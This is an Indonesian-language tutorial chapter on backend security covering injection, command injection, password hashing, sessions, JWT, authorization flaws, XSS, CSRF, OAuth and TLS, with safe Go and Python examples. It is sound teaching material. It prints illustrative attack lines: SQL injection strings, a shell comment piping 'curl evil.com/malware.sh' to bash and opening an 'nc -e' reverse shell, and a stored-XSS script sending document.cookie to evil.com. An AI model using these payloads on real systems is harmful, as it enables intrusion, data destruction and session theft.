Keamanan Backend
Keamanan bukan fitur yang Anda baut di akhir, ia pola pikir yang Anda bawa ke setiap baris kode. Bab ini mencakup kelas serangan paling berdampak yang akan dihadapi engineer backend: serangan injeksi, autentikasi rusak, otorisasi rusak, XSS, CSRF, dan salah konfigurasi, beserta model mental dan kode untuk mencegah semuanya.
Pola Pikir Keamanan: Berpikir Seperti Penyerang
"Penyerang tidak peduli framework atau bahasa Anda. Mereka hanya bertanya satu hal: di mana developer membuat asumsi?"
Setiap kerentanan signifikan dalam sejarah perangkat lunak menelusuri kembali ke developer yang mengasumsikan sesuatu yang dilanggar penyerang:
- Mengasumsikan input yang datang dari pengguna akan bersih dan berbentuk baik.
- Mengasumsikan pengguna adalah siapa yang ia klaim.
- Mengasumsikan request datang dari frontend Anda sendiri.
- Mengasumsikan tidak ada yang akan membuka tab network browser dan memodifikasi parameter.
Asumsi ini terasa masuk akal di bawah tekanan tenggat, Anda selalu berpikir di happy path. Penyerang mengeksploitasi unhappy paths. Mereka menyodok setiap batas, memodifikasi setiap input, dan mencoba menebak setiap asumsi yang Anda buat.
Akar Penyebab Hampir Setiap Serangan
Aplikasi backend Anda berbicara banyak bahasa sekaligus: SQL ke database, HTML/JS ke browser, perintah shell ke OS. Setiap bahasa punya tatabahasanya sendiri, karakter khususnya sendiri, caranya sendiri memisahkan perintah dari data.
Serangan injeksi terjadi saat data pengguna (yang hidup di satu bahasa) merembes ke konteks bahasa lain dan ditafsirkan sebagai perintah alih-alih data. Satu wawasan ini menjelaskan SQL injection, command injection, XSS, dan lainnya.
Ringkasan Kerentanan
Input pengguna merembes ke query SQL. Penyerang bisa membaca semua data, menghapus tabel, atau menjalankan perintah OS lewat DB.
Input pengguna merembes ke perintah shell. Penyerang bisa menjalankan rm -rf / atau memasang spyware di server Anda.
Konten pengguna disimpan sebagai HTML. Skrip jahat berjalan di browser pengguna lain, mencuri sesi, mengarahkan, phishing.
Kata sandi teks polos, hashing lemah, session ID bisa diprediksi, tanpa rate limit, penyerang mengambil alih akun.
Cek auth di lapisan routing tapi tidak di lapisan DB. User A membaca invoice User B. Member mengakses API admin.
Pengiriman form lintas-situs menipu server. Secret di git, log debug di produksi, flag cookie salah.
SQL Injection
SQL injection telah menjadi kerentanan paling destruktif nomor satu selama puluhan tahun. Ia bekerja karena developer membangun query SQL dengan penggabungan string: menjatuhkan input pengguna mentah langsung ke template query.
Serangannya: Langkah demi Langkah
Anggap query login yang dibangun dengan penggabungan:
SQL / Vulnerable (Never Do This)-- Template on server: SELECT * FROM users WHERE email = '' + userInput + '' -- Happy path (Alice logs in normally): SELECT * FROM users WHERE email = 'alice@gmail.com' -- Returns Alice's row -- Attacker types: ' OR '1'='1 -- SELECT * FROM users WHERE email = '' OR '1'='1' --' -- Returns ALL users <- data leak -- Attacker types: '; DROP TABLE users; -- SELECT * FROM users WHERE email = ''; DROP TABLE users; --' -- Deletes your entire users table
Cara Karakter SQL Khusus Memungkinkan Serangan
| Karakter | Makna di SQL | Cara Penyerang Memakainya |
|---|---|---|
' |
Pembatas string | Menutup string literal yang ada, kabur dari konteks data |
; |
Pemisah pernyataan | Mengakhiri query sah; memulai yang jahat baru |
-- |
Komentar baris | Mengomentari sisa query asli (tanda ' di belakangnya) |
OR |
Operator logika | Membuat kondisi selalu-benar untuk melewati filter WHERE |
UNION |
Menggabungkan set hasil | Mengekstrak data dari tabel lain (pembayaran, secret) |
Perbaikannya: Query Berparameter
Alih-alih membangun satu string dengan semuanya dicampur, kirim dua hal terpisah ke database: (1) template query dengan slot placeholder, (2) data pengguna sebagai argumen terpisah. Driver database menjamin apa pun yang masuk ke slot diperlakukan sebagai string murni, tidak pernah sebagai SQL yang bisa dieksekusi.
Go / pgx parameterised query//NEVER, string concatenation query := "SELECT * FROM users WHERE email = '" + userInput + "'" // ALWAYS, parameterised ($1 is the slot) row := db.QueryRow(ctx, "SELECT id, name FROM users WHERE email = $1", userInput, // passed separately, treated purely as data ) // With an ORM (GORM), parameterised automatically db.Where("email = ?", userInput).First(&user)
Pengerasan Tambahan: Izin DB Minimal
Bahkan jika SQL injection berhasil, Anda bisa membatasi radius ledakannya. User database yang dipakai backend Anda untuk terhubung seharusnya hanya punya izin DML (INSERT, UPDATE, DELETE, SELECT), jangan pernah izin DDL (DROP TABLE, CREATE TABLE, ALTER). Peretas yang mendapat SQL injection tidak bisa menghapus tabel Anda jika user DB tidak bisa mengeksekusi DDL.
NoSQL Injection (MongoDB)
Query MongoDB adalah objek JSON, bukan string SQL. Tapi mereka mendukung operator (berawalan $) seperti $ne (not equal), $gt, $exists. Jika Anda meneruskan JSON mentah dari pengguna langsung ke query, penyerang bisa menyuntikkan operator ini:
JavaScript / MongoDB Injection//VULNERABLE: attacker sends {"$ne": null} as email db.users.find({ email: req.body.email }) // Becomes: { email: { $ne: null } } -> returns ALL users // FIX: validate that email is a plain string, not an object if (typeof req.body.email !== 'string') { return res.status(400).json({ error: 'Invalid email' }) } db.users.find({ email: req.body.email })
Command Injection
Command injection adalah SQL injection di level OS. Backend Anda kadang perlu memanggil program eksternal (pemrosesan gambar dengan FFmpeg, kompresi file, generasi PDF). Jika Anda membangun perintah shell dengan menggabungkan input pengguna, penyerang bisa menyuntikkan perintah shell ke server Anda.
Serangannya
Shell / Vulnerable Image Resize# User supplies the output filename. Attacker sends: "out.jpg; rm -rf /" ffmpeg -i input.jpg -vf scale=800:600 out.jpg; rm -rf / # ^ ffmpeg done ^ now this runs # Attacker can also use: # out.jpg && curl evil.com/malware.sh | bash (install backdoor) # out.jpg & nc -e /bin/sh attacker.com 4444 & (reverse shell in background)
Karakter khusus shell yang memungkinkan ini:
| Karakter | Makna Shell | Pemakaian Serangan |
|---|---|---|
; |
Memisahkan perintah | Menjalankan perintah kedua setelah yang pertama |
&& |
Jalankan jika sebelumnya sukses | Merantai eksploit setelah perintah sah |
| |
Pipe output | Memberi makan output ke perintah destruktif |
& |
Jalankan di latar | Memasang spyware persisten diam-diam |
$() |
Substitusi perintah | Mengeksekusi perintah arbitrer inline |
Perbaikannya: Pisahkan Perintah dari Argumen
Setiap bahasa menyediakan fungsi yang menerima perintah dan argumen sebagai parameter terpisah. Ini meneruskan argumen langsung ke proses tanpa melewati interpreter shell, jadi karakter khusus tidak pernah ditafsirkan.
Go / exec.Command (safe)import "os/exec" //VULNERABLE, passes through shell interpreter cmd := exec.Command("sh", "-c", "ffmpeg -i input.jpg -o "+userFilename) // SAFE, command and each argument are separate params // Shell never sees userFilename, it goes straight to the process cmd := exec.Command( "ffmpeg", "-i", "input.jpg", "-vf", "scale=800:600", userFilename, // treated as a string argument, not shell code ) output, err := cmd.Output()
Python / subprocess (safe)import subprocess #VULNERABLE, shell=True sends everything through sh subprocess.run(f"ffmpeg -i input.jpg -o {user_filename}", shell=True) # SAFE, list form, shell=False (default) subprocess.run([ "ffmpeg", "-i", "input.jpg", "-vf", "scale=800:600", user_filename # just a string, not interpreted ], check=True)
Penyimpanan Kata Sandi: Tiga Evolusi
Database dibobol setiap hari. Saat itu terjadi, cara Anda menyimpan kata sandi menentukan apakah hidup pengguna Anda hancur atau tidak.
Kenapa Teks Polos Gagal
Setiap pembobolan database mengekspos semua kata sandi seketika. Lebih parah: lebih dari 70% pengguna memakai ulang kata sandi lintas situs, jadi satu pembobolan memberi penyerang kunci ke akun email, perbankan, dan media sosial yang bahkan tidak mereka targetkan.
Kenapa Hashing Saja Tidak Cukup
Penyerang menghitung di muka rainbow table: tabel pencarian raksasa yang memetakan kata sandi umum (seperti "123456", "password", "qwerty") ke hash-nya. Jika hash Anda cocok dengan entri rainbow table, mereka menemukan teks polosnya seketika. GPU bisa menghitung miliaran hash SHA-256 per detik.
Salting: Mengalahkan Rainbow Table
Salt adalah string acak kriptografis yang dibuat unik untuk tiap pengguna. Anda menggabungkan salt dengan kata sandi sebelum hashing. Karena salt tiap pengguna berbeda, bahkan dua pengguna dengan kata sandi sama menghasilkan hash yang sepenuhnya berbeda. Rainbow table jadi sia-sia, mereka butuh tabel baru per pengguna.
Hashing Lambat: Mengalahkan Brute Force
Fungsi hash serbaguna (SHA-256, MD5) dirancang cepat. GPU bisa melakukan miliaran per detik. Algoritma hashing kata sandi (bcrypt, scrypt, Argon2id) sengaja lambat lewat cost/work factor yang bisa dikonfigurasi. Di 400ms per hash:
- Pengguna sah yang login: 400ms, tak terasa, sama sekali baik.
- Penyerang brute-force offline: 400ms per percobaan -> ±2,5 percobaan/detik alih-alih miliaran -> pemecahan butuh berabad-abad.
Argon2id (winner of the
Password Hashing Competition). Fallback: bcrypt with cost factor >=12. Never use SHA-256, MD5, or SHA-1
for passwords.Go / Argon2id (golang.org/x/crypto)import ( "crypto/rand" "golang.org/x/crypto/argon2" "encoding/base64" ) func HashPassword(password string) (string, error) { // Generate cryptographically random 16-byte salt salt := make([]byte, 16) rand.Read(salt) // Argon2id params: time=1, memory=64MB, threads=4, keyLen=32 hash := argon2.IDKey([]byte(password), salt, 1, 64*1024, 4, 32) // Store: $argon2id$salt$hash (both needed to verify) encoded := base64.RawStdEncoding.EncodeToString(salt) + "$" + base64.RawStdEncoding.EncodeToString(hash) return encoded, nil } func VerifyPassword(password, stored string) bool { // Re-hash with stored salt, compare, never compare raw hashes with == parts := strings.Split(stored, "$") salt, _ := base64.RawStdEncoding.DecodeString(parts[0]) newHash := argon2.IDKey([]byte(password), salt, 1, 64*1024, 4, 32) return subtle.ConstantTimeCompare(newHash, mustDecode(parts[1])) == 1 }
Sesi, Cookie & Flag Kritis
Setelah pengguna terautentikasi, Anda perlu mengingatnya lintas request. Ini dilakukan lewat sesi: pengidentifikasi acak yang disimpan sisi server, ditautkan ke data pengguna, dikirim ke browser sebagai cookie.
Alur Sesi
- Pengguna mengirim email + kata sandi.
- Server memverifikasi kata sandi (cocok hash argon2id).
- Server membuat session ID acak kriptografis 128-256 bit.
- Server menyimpan session ID di Redis/DB dengan metadata pengguna (user ID, IP, user-agent, kedaluwarsa, created_at).
- Server mengirim session ID ke browser dalam cookie dengan flag keamanan ketat.
- Setiap request berikutnya: browser mengirim cookie -> server mencari session ID -> mengidentifikasi pengguna.
Tiga Flag Cookie Kritis
| Flag | Nilai | Fungsinya | Tanpa Itu |
|---|---|---|---|
| HttpOnly | true |
JS tidak bisa membaca cookie ini | XSS mencuri session ID via document.cookie |
| Secure | true |
Cookie hanya dikirim lewat HTTPS | Sesi dicuri penyadap Wi-Fi atau Wireshark |
| SameSite | Strict atau Lax |
Cookie tidak dikirim di request lintas-origin | Serangan CSRF bisa memakai cookie Anda dari evil.com |
Go / Secure Cookiehttp.SetCookie(w, &http.Cookie{ Name: "session_id", Value: sessionID, HttpOnly: true, // JS cannot access Secure: true, // HTTPS only SameSite: http.SameSiteStrictMode, // no cross-site MaxAge: 7 * 24 * 3600, // 7 days Path: "/", })
HttpOnly cookies.JWT: Autentikasi Stateless
JWT (JSON Web Token) alternatif dari sesi sisi server. Alih-alih menyimpan data sesi di DB dan mengirim hanya ID ke klien, JWT memuat data sesi, ditandatangani kriptografis sehingga tidak bisa dirusak.
Struktur JWT
JWT vs Sesi: Kapan Memakai yang Mana
Sesi (Ber-State) Dipilih
- Pencabutan instan, hapus baris sesinya
- Tanpa data terekspos ke klien
- Arsitektur lebih sederhana untuk kebanyakan SaaS
- Skalabel dengan Redis (session store bersama)
- Direkomendasikan kebanyakan ahli keamanan
JWT (Stateless)
- Tanpa pencarian DB per request (lebih cepat di skala)
- Pencabutan sulit, butuh blacklist atau kedaluwarsa pendek
- Jika akun dikompromikan, tidak bisa paksa logout seketika
- Solusi: kedaluwarsa pendek (5-10 menit) + refresh token
- Pakai hanya jika stateless persyaratan keras
Jika Harus Pakai JWT: Praktik Terbaik
- Kedaluwarsa access token pendek: 5-15 menit. Token berumur panjang adalah token curian yang tidak pernah kedaluwarsa.
- Rotasi refresh token: terbitkan pasangan access + refresh token baru di tiap refresh. Disimpan sisi server.
- Penyimpanan cookie HttpOnly: bukan localStorage. XSS tidak bisa mencuri yang tidak bisa dibaca JS.
- Secret kuat: secret acak >=256-bit untuk penandatanganan HMAC. Putar secara berkala.
- Verifikasi di setiap request: jangan percaya JWT hanya karena berbentuk baik. Selalu verifikasi tanda tangannya.
Rate Limiting Endpoint Autentikasi
Tanpa rate limiting, penyerang bisa mengirim jutaan percobaan login per detik, entah untuk brute-force kata sandi atau merobohkan server Anda (DoS). Rate limiting wajib di semua endpoint auth.
Tiga Lapisan Rate Limiting
Go / Rate Limiting with golang.org/x/time/rateimport ( "golang.org/x/time/rate" "sync" "net/http" ) var ( mu sync.Mutex limiters = map[string]*rate.Limiter{} ) // Per-IP limiter: 5 requests per second, burst of 10 func getIPLimiter(ip string) *rate.Limiter { mu.Lock() defer mu.Unlock() l, ok := limiters[ip] if !ok { l = rate.NewLimiter(5, 10) limiters[ip] = l } return l } func RateLimitMiddleware(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { ip := r.RemoteAddr if !getIPLimiter(ip).Allow() { http.Error(w, "too many requests", http.StatusTooManyRequests) return } next.ServeHTTP(w, r) }) }
Kerentanan Otorisasi: BOLA & BFLA
"Autentikasi memberi tahu Anda siapa penggunanya. Otorisasi memberi tahu apa yang boleh mereka lakukan. Kebanyakan engineer mengerjakan autentikasi dengan benar dan otorisasi dengan salah."
Kesalahan Inti
Otorisasi diperiksa di lapisan routing (middleware). Engineer lalu berasumsi: "pengguna lolos auth, jadi mereka bisa mengakses apa pun dari sini." Ini menciptakan rasa aman palsu yang berbahaya.
(1) BOLA: Broken Object Level Authorization
(Juga disebut IDOR, Insecure Direct Object Reference)
User A bisa mengakses, memodifikasi, atau menghapus resource User B dengan menebak atau mengiterasi ID mereka.
SQL / BOLA Fix--VULNERABLE: fetches invoice 5 regardless of who is asking SELECT * FROM invoices WHERE id = $1 -- FIXED: also requires the invoice to belong to the requesting user SELECT * FROM invoices WHERE id = $1 AND user_id = $2 -- $2 comes from the verified session/JWT, not user input -- If no row: return 404 (not 403) -- Why 404? A 403 CONFIRMS the resource exists -> information leak -- A 404 gives the attacker no information -> is it missing, or forbidden?
(2) BFLA: Broken Function Level Authorization
Pengguna biasa mengakses endpoint khusus-admin karena cek role hilang di lapisan routing. Percaya "tidak ada yang tahu URL /admin" adalah security through obscurity: yang sama sekali bukan keamanan.
Go / Role Middlewarefunc RequireRole(role string) func(http.Handler) http.Handler { return func(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { user, ok := r.Context().Value("user").(User) if !ok || user.Role != role { http.Error(w, "forbidden", http.StatusForbidden) return } next.ServeHTTP(w, r) }) } } // Router setup r.With(RequireAuth, RequireRole("admin")). Get("/admin/invoices", adminInvoicesHandler)
Model Mental Horizontal vs Vertikal
Serangan Horizontal (BOLA)
- User A membaca/mengedit resource User B
- Cakupan melebar lintas pengguna
- Perbaikan: tambah
AND userid = $ctxuserke setiap query - Kembalikan 404, bukan 403
Serangan Vertikal (BFLA)
- Pengguna biasa mengakses fungsi admin
- Cakupan menaik tingkat hak istimewa
- Perbaikan: role middleware di setiap route sensitif
- Default-deny: tolak apa pun yang tidak diizinkan eksplisit
Pakai UUID, Bukan ID Berurutan, di URL
ID berurutan (/invoices/101, /invoices/102) membuat penyerang menghitung semua resource. UUID seperti /invoices/f47ac10b-58cc-4372-a567-0e02b2c3d479 efektif tak tertebak, 2^122 nilai mungkin. Pakai UUID sebagai primary key di tabel mana pun yang record-nya terekspos di URL.
Cross-Site Scripting (XSS)
XSS terjadi saat JavaScript penyerang berjalan di browser pengguna lain, dalam konteks platform Anda. Ia injeksi, tapi targetnya mesin HTML/JS browser alih-alih database.
Kenapa XSS Berbahaya
JavaScript yang berjalan dalam konteks platform Anda bisa:
- Membaca semua
document.cookie(session token yang tidak dilindungi HttpOnly). - Membaca
localStorage(token JWT, API key). - Membuat request API sebagai pengguna yang login (penyamaran).
- Mengarahkan pengguna ke halaman phishing untuk mencuri kredensial.
- Mengubah konten halaman untuk menipu pengguna (form login palsu, alert palsu).
Stored XSS: Jenis Paling Berbahaya
Seorang pengguna mengirim komentar/post berisi tag <script>. Server Anda menyimpannya. Setiap pengguna yang melihat post itu menjalankan skrip di browser mereka.
Stored XSS Attack<!-- Attacker submits this as a "comment" --> <script> // Steal session cookie and send to attacker's server fetch('https://evil.com/steal?c=' + document.cookie); // Or silently redirect to phishing page window.location = 'https://evil.com/fake-login'; </script> <!-- This script is stored in your DB and injected into every user's browser -->
Pencegahan: Sanitasi Sebelum Menyimpan
Sebelum menyimpan HTML/markdown apa pun dari pengguna, buang tag dan atribut berbahaya. Pakai library yang teruji; jangan pernah menulis sanitiser sendiri.
Python / bleach sanitisationimport bleach ALLOWED_TAGS = ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li'] ALLOWED_ATTRS = {'a': ['href']} def sanitise_comment(raw_html: str) -> str: # Strip ALL tags not in allow-list, strip dangerous attributes return bleach.clean( raw_html, tags=ALLOWED_TAGS, attributes=ALLOWED_ATTRS, strip=True # strip disallowed, don't escape ) # <script>...</script> -> stripped entirely # <b>bold</b> -> kept # <img onerror="..."> -> attribute stripped
Content Security Policy (CSP): Garis Pertahanan Terakhir
CSP adalah header respons HTTP yang memberi tahu browser persis skrip mana yang diizinkan berjalan. Bahkan jika penyerang menyuntikkan tag <script>, browser memblokirnya jika melanggar kebijakan.
HTTP Header / CSP# Only load scripts from your own domain. Block all inline scripts. Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'
CSRF: Cross-Site Request Forgery
CSRF mengeksploitasi fakta bahwa browser otomatis menempelkan cookie ke request, bahkan saat request berasal dari situs web berbeda. Penyerang di evil.com bisa memicu request ke bank.com dan browser Anda menyertakan cookie sesi bank.com Anda.
SameSite=Strict or SameSite=Lax on your session cookie (which browsers
default to Lax), and you configure CORS properly, you are protected. This section covers
the theory for legacy systems.Mitigasi
- Flag cookie SameSite:
StrictatauLaxmemblokir cookie dari request lintas-origin. Browser modern defaultLax. - Konfigurasi CORS: hanya izinkan request dari domain frontend Anda sendiri.
- Token CSRF: untuk sistem berbasis form lama: sematkan token unik di setiap form, verifikasi sisi server.
Salah Konfigurasi: Lubang Keamanan yang Anda Buat Sendiri
(1) Secret di Version Control
Kesalahan paling umum yang katastrofal: API key, kata sandi database, JWT secret, atau kunci enkripsi di-commit ke Git. Begitu di riwayat commit, memutar secret di kode tidak membantu, nilai lama permanen di git log.
Shell / Pre-commit hook with gitleaks# Install: brew install gitleaks # .git/hooks/pre-commit gitleaks protect --staged --no-git -v # Blocks commit if API keys, passwords, tokens detected in staged files
(2) Log Debug/Verbose di Produksi
Di pengembangan, log level biasanya DEBUG, stack trace penuh, query SQL, body request. Di produksi harus INFO atau WARN. Log debug di produksi mengekspos:
- Nama tabel, nama kolom, struktur query -> memungkinkan SQL injection tertarget.
- Path file dan nama fungsi -> membocorkan struktur codebase.
- PII pengguna yang tak sengaja di-log -> pelanggaran GDPR + liabilitas breach.
Go / Environment-aware log levelimport "log/slog" func setupLogger() { level := slog.LevelInfo // default: production if os.Getenv("APP_ENV") == "development" { level = slog.LevelDebug } slog.SetDefault(slog.New(slog.NewJSONHandler(os.Stdout, &slog.HandlerOptions{Level: level}))) }
(3) Header Keamanan
Satu panggilan middleware menambah semua header keamanan standar industri. Setiap framework besar punya satu:
| Header | Tujuan |
|---|---|
Content-Security-Policy |
Mengendalikan skrip/resource mana yang boleh berjalan (mencegah XSS) |
X-Frame-Options: DENY |
Mencegah penyematan di iframe (mencegah clickjacking) |
X-Content-Type-Options: nosniff |
Mencegah serangan MIME-type sniffing |
Strict-Transport-Security |
Memaksa HTTPS, mencegah SSL stripping |
Referrer-Policy |
Mengendalikan seberapa banyak info referrer yang dikirim lintas-origin |
Go / Secure Headers Middleware (chi/middleware)import "github.com/go-chi/chi/v5/middleware" r.Use(middleware.SetHeader("X-Frame-Options", "DENY")) r.Use(middleware.SetHeader("X-Content-Type-Options", "nosniff")) r.Use(middleware.SetHeader("Referrer-Policy", "strict-origin-when-cross-origin")) r.Use(middleware.SetHeader( "Strict-Transport-Security", "max-age=63072000; includeSubDomains; preload")) r.Use(middleware.SetHeader( "Content-Security-Policy", "default-src 'self'; script-src 'self'; object-src 'none'"))
Pertahanan Berlapis: Tidak Ada Satu Lapisan yang Cukup
"Tidak ada satu pertahanan yang sempurna. Bangun berlapis. Penyerang harus melewati semuanya serentak, yang secara eksponensial lebih sulit."
Tiga Pertanyaan untuk Ditanyakan di Setiap Batas
- Di mana data menyeberangi batas? (User -> SQL, User -> Shell, User -> HTML)
- Apa yang saya asumsikan tentang data ini? (Bersih? Email valid? Aman?)
- Bagaimana jika asumsi itu salah? (Apa untung penyerang jika melanggar asumsi ini?)
Jika Anda menanyakan tiga pertanyaan ini untuk setiap kode yang menangani input pengguna, Anda akan menghindari 99% kerentanan yang memecah sistem produksi nyata.
Go: Referensi Pola Aman
Endpoint Login Aman Lengkap
Gofunc loginHandler(db *pgxpool.Pool, redis *redis.Client) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { var req struct { Email string `json:"email"` Password string `json:"password"` } json.NewDecoder(r.Body).Decode(&req) // 1. Validate format (first line of defence) if !isValidEmail(req.Email) || len(req.Password) < 8 { http.Error(w, "invalid credentials", 400) return } // 2. Parameterised query, no SQL injection possible var userID string var hashedPass string err := db.QueryRow(ctx, "SELECT id, password_hash FROM users WHERE email = $1", req.Email).Scan(&userID, &hashedPass) // 3. Generic error, never reveal whether email exists if err != nil || !verifyArgon2(req.Password, hashedPass) { http.Error(w, "invalid email or password", 401) return } // 4. Cryptographically secure session ID sessionID := generateSecureToken(32) // 5. Store session in Redis with metadata redis.Set(ctx, "session:"+sessionID, userID, 7*24*time.Hour) // 6. Secure cookie, HttpOnly, Secure, SameSite=Strict http.SetCookie(w, &http.Cookie{ Name: "session_id", Value: sessionID, HttpOnly: true, Secure: true, SameSite: http.SameSiteStrictMode, MaxAge: 7 * 24 * 3600, }) w.WriteHeader(http.StatusOK) } } func generateSecureToken(n int) string { b := make([]byte, n) rand.Read(b) // crypto/rand, not math/rand return base64.URLEncoding.EncodeToString(b) }
Python: Referensi Pola Aman
Python / FastAPI Secure Authfrom fastapi import FastAPI, HTTPException, Response from argon2 import PasswordHasher from argon2.exceptions import VerifyMismatchError import secrets ph = PasswordHasher(time_cost=1, memory_cost=65536, parallelism=4) @app.post("/login") async def login(email: str, password: str, response: Response): # 1. Parameterised query (psycopg2 / asyncpg) row = await db.fetchrow( "SELECT id, password_hash FROM users WHERE email = $1", email ) # 2. Constant-time verify. Generic error always. valid = False if row: try: ph.verify(row["password_hash"], password) valid = True except VerifyMismatchError: pass if not valid: raise HTTPException(401, "invalid email or password") # 3. Cryptographically secure session token (32 bytes = 256 bits) session_id = secrets.token_urlsafe(32) await redis.set(f"session:{session_id}", row["id"], ex=604800) # 4. HttpOnly + Secure + SameSite cookie response.set_cookie( key="session_id", value=session_id, httponly=True, secure=True, samesite="strict", max_age=604800 ) return {"status": "ok"}
Python / BOLA-safe DB queryasync def get_invoice(invoice_id: int, current_user_id: int): # ownership check IN the query, not after row = await db.fetchrow( "SELECT * FROM invoices WHERE id=$1 AND user_id=$2", invoice_id, current_user_id ) if not row: # 404, not 403. Don't confirm the invoice exists. raise HTTPException(404, "invoice not found") return row
OAuth 2.0 & OIDC: Autentikasi yang Didelegasikan
OAuth 2.0 adalah framework otorisasi yang memungkinkan aplikasi pihak ketiga memperoleh akses terbatas ke akun pengguna di layanan lain, tanpa pernah melihat kata sandi pengguna. OpenID Connect (OIDC) lapisan identitas tipis di atas OAuth 2.0 yang menambah autentikasi (siapa penggunanya ini), bukan hanya otorisasi (apa yang bisa mereka lakukan).
"Sign in with Google" adalah OIDC. "Izinkan aplikasi ini membaca Google Drive Anda" adalah OAuth 2.0. Dalam praktik, penyedia auth modern (Clerk, Auth0) menggabungkan keduanya.
Empat Peran
| Peran | Siapa | Contoh |
|---|---|---|
| Resource Owner | Penggunanya | Alice |
| Client | Aplikasi Anda | YourSaaS.com |
| Authorization Server | Menerbitkan token setelah persetujuan | Google, GitHub, Auth0 |
| Resource Server | API yang memegang data pengguna | Google Calendar API |
Authorization Code Flow: Standar yang Aman
Ini alur yang dipakai setiap aplikasi web serius. Ia menjaga token keluar dari bar URL browser dan menukar code berumur pendek dengan token di sisi server.
Aturan Keamanan Kunci untuk OAuth
- Selalu pakai PKCE: bahkan untuk aplikasi sisi server. Ia mencegah serangan intersepsi code tempat penyerang mencegat
codedari URL redirect. - Validasi parameter
state: buat nilai acak, simpan di sesi sebelum redirect, verifikasi saat Google mengarahkan kembali. Ini mencegah CSRF pada alur OAuth itu sendiri. - Jangan pernah mengekspos
access_tokenke browser: tukar code di sisi server dan terbitkan session cookie Anda sendiri. Access token adalah kredensial; perlakukan seperti kata sandi. - Tautkan OAuth ke akun yang ada via email dengan hati-hati: jika pengguna sudah punya akun email+kata sandi dan login via Google dengan email yang sama, Anda harus memutuskan: auto-link (nyaman, risiko kecil) atau wajib konfirmasi. Auto-link tanpa verifikasi memungkinkan pengambilalihan akun jika penyedia OAuth dikompromikan.
- Verifikasi klaim
aud(audience) di idtoken, memastikan token diterbitkan untuk aplikasi Anda_, bukan klien OAuth lain yang memakai penyedia yang sama.
OIDC vs OAuth 2.0: Perbedaan Satu Baris
| Protokol | Menjawab | Token |
|---|---|---|
| OAuth 2.0 | "Apa yang bisa dilakukan aplikasi ini?" | Access Token (buram atau JWT) |
| OIDC | "Siapa pengguna ini?" | ID Token (selalu JWT dengan sub, email, iat) |
Go / Verify OIDC ID Token (google/go-oidc)import ( "github.com/coreos/go-oidc/v3/oidc" "golang.org/x/oauth2" ) var ( provider, _ = oidc.NewProvider(ctx, "https://accounts.google.com") verifier = provider.Verifier(&oidc.Config{ClientID: os.Getenv("GOOGLE_CLIENT_ID")}) oauth2Cfg = &oauth2.Config{ ClientID: os.Getenv("GOOGLE_CLIENT_ID"), ClientSecret: os.Getenv("GOOGLE_CLIENT_SECRET"), RedirectURL: "https://yourapp.com/auth/callback", Scopes: []string{oidc.ScopeOpenID, "email", "profile"}, Endpoint: provider.Endpoint(), } ) func callbackHandler(w http.ResponseWriter, r *http.Request) { // 1. Verify state matches what we stored in session (CSRF protection) if r.URL.Query().Get("state") != getSessionState(r) { http.Error(w, "invalid state", 400); return } // 2. Exchange code for tokens (server-to-server) token, _ := oauth2Cfg.Exchange(ctx, r.URL.Query().Get("code")) rawIDToken := token.Extra("id_token").(string) // 3. Verify ID token signature + aud + exp idToken, err := verifier.Verify(ctx, rawIDToken) if err != nil { http.Error(w, "invalid token", 401); return } // 4. Extract claims var claims struct { Email string `json:"email"`; Sub string `json:"sub"` } idToken.Claims(&claims) // 5. Upsert user in DB, create session, set cookie userID := upsertUser(claims.Sub, claims.Email) setSecureSessionCookie(w, userID) http.Redirect(w, r, "/dashboard", http.StatusFound) }
Internal HTTPS & TLS
HTTPS adalah HTTP dengan lapisan TLS (Transport Layer Security) antara koneksi TCP dan pesan HTTP Anda. Semua di dalamnya, header, body, cookie, token, terenkripsi saat transit. Penyerang yang mencegat paket hanya melihat ciphertext acak.
Kenapa TLS Penting bagi Engineer Backend
- Tanpa HTTPS, session cookie dan token JWT dicuri siapa pun di Wi-Fi yang sama (Wireshark menangkapnya dalam teks polos).
- Flag cookie
Securehanya bekerja lewat HTTPS, tanpanya, cookie juga dikirim lewat HTTP. - HTTP/2 (dan HTTP/3) butuh TLS, tanpa TLS tidak ada manfaat performa.
- Mesin pencari menghukum situs HTTP; browser menampilkan peringatan "Not Secure".
Handshake TLS: Apa yang Sebenarnya Terjadi
Konsep Kunci
| Konsep | Artinya | Kenapa Penting |
|---|---|---|
| Sertifikat | Public key server + identitas, ditandatangani CA | Membuktikan Anda bicara ke server asli, bukan peniru |
| Certificate Authority (CA) | Pihak ketiga tepercaya yang menandatangani sertifikat (Let's Encrypt, DigiCert) | Rantai kepercayaan: browser percaya CA -> CA menjamin server |
| ECDHE | Pertukaran key Elliptic Curve Diffie-Hellman Ephemeral | Forward secrecy: tiap sesi memakai pasangan key baru |
| Forward Secrecy | Session key tidak disimpan; tidak bisa mendekripsi lalu lintas lampau bahkan dengan private key | Kompromi key masa depan tidak mengekspos sesi lama |
| HSTS | Header HTTP Strict Transport Security | Memaksa HTTPS untuk domain Anda, mencegah serangan SSL-stripping |
| TLS 1.3 | Standar saat ini (2018). Membuang cipher lemah dari TLS 1.2 | Lebih cepat (handshake 1-RTT), tanpa kerentanan yang dikenal |
Checklist Praktis untuk Backend Anda
- Pakai Let's Encrypt (gratis, perpanjangan otomatis) atau certificate manager penyedia cloud Anda.
- Set
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload, memberi tahu browser untuk selalu memakai HTTPS untuk domain Anda selama 2 tahun. - Redirect semua lalu lintas
http://kehttps://di level load balancer / reverse proxy (nginx, Caddy, Traefik). - Nonaktifkan TLS 1.0 dan TLS 1.1, mereka punya kerentanan yang dikenal (POODLE, BEAST). Hanya izinkan TLS 1.2 dan TLS 1.3.
- Uji konfigurasi TLS Anda di ssllabs.com/ssltest, incar rating A+.
